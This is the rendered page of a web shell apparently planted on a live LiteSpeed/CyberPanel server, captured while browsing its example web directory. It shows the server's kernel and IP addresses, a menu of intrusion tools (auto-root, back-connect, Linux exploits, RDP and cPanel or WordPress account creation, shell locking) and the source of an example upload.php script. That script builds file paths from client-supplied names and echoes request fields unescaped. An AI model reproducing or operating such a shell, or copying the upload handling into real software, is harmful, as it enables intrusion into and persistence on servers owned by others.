Linux cyberpanel 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
LiteSpeed
: 160.191.175.3 | : 216.73.216.114
Cant Read [ /etc/named.conf ]
8.2.29
aodai6801
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
lsws /
Example /
html /
[ HOME SHELL ]
Name
Size
Permission
Action
.well-known
[ DIR ]
drwxr-xr-x
blocked
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
protected
[ DIR ]
drwxr-xr-x
.htaccess
13
B
-rwxr-xr-x
error404.html
195
B
-rwxr-xr-x
index.html
13.41
KB
-rwxr-xr-x
phpinfo.php
69
B
-rwxr-xr-x
upload.html
6.37
KB
-rwxr-xr-x
upload.php
3.45
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upload.php
<!-- /***************************************************************************** * Open LiteSpeed is an open source HTTP server. * * Copyright (C) 2013 - 2020 LiteSpeed Technologies, Inc. * * * * This program is free software: you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation, either version 3 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program. If not, see http://www.gnu.org/licenses/. * *****************************************************************************/ --> <html> <head><style> body { font-family: monospace; font-size: 12px; } </style></head> <body> <?php function moveAndShow($src, $dest) { if (empty($src)) { echo "<p>file is empty, not stored.</p>\n"; } else { $fileType = strtolower(pathinfo($dest,PATHINFO_EXTENSION)); $check = getimagesize($src); if($check == false) { echo "<p>file is not jpg file, not stored.</p>\n"; } else { if($fileType != "jpg") { echo "<p>file type is not jpg, not stored.</p>\n"; } else { rename($src, $dest); echo "<p>Moved: " . $src . " ====> " . $dest . "<br>"; echo "MD5 : " . md5_file($dest). "<br>"; echo "Size : " . filesize($dest). " bytes</p>\n"; } } } } function disaplyParsedFile($filekey) { echo "<p>File : " . $filekey . "<br>"; echo "Name : " . $_POST["{$filekey}_name"] . "<br>"; echo "Type : " . $_POST["{$filekey}_content-type"] . "<br>"; echo "Path : " . $_POST["{$filekey}_path"] . "<br>"; echo "MD5 : " . $_POST["{$filekey}_md5"] . "<br>"; echo "Size : " . $_POST["{$filekey}_size"] . " Bytes<br></p>\n"; } function displayNoParsedFile($filekey) { echo "<p>File : " . $filekey . "<br>"; echo "Name : " . $_FILES["{$filekey}"]['name'] . "<br>"; echo "Type : " . $_FILES["{$filekey}"]['type'] . "<br>"; echo "Path : " . $_FILES["{$filekey}"]['tmp_name'] . "<br>"; echo "Size : " . $_FILES["{$filekey}"]['size'] . "</p>\n"; } if(empty($_FILES["file1"])) { echo "<h1>Request body updated by Parser</h1>\n"; for ($i = 1; $i <= 2; $i++) { disaplyParsedFile("file{$i}"); $moved_to_path = '/tmp/uploadfile_' . $_POST["file{$i}_name"]; moveAndShow($_POST["file{$i}_path"], $moved_to_path); } } else { echo "<h1>No Parser used</h1>\n"; for ($i = 1; $i <= 2; $i++) { displayNoParsedFile("file{$i}"); $moved_to_path = '/tmp/uploadfile_' . $_FILES["file{$i}"]["name"]; moveAndShow($_FILES["file{$i}"]["tmp_name"], $moved_to_path); } } ?> </body></html>
Close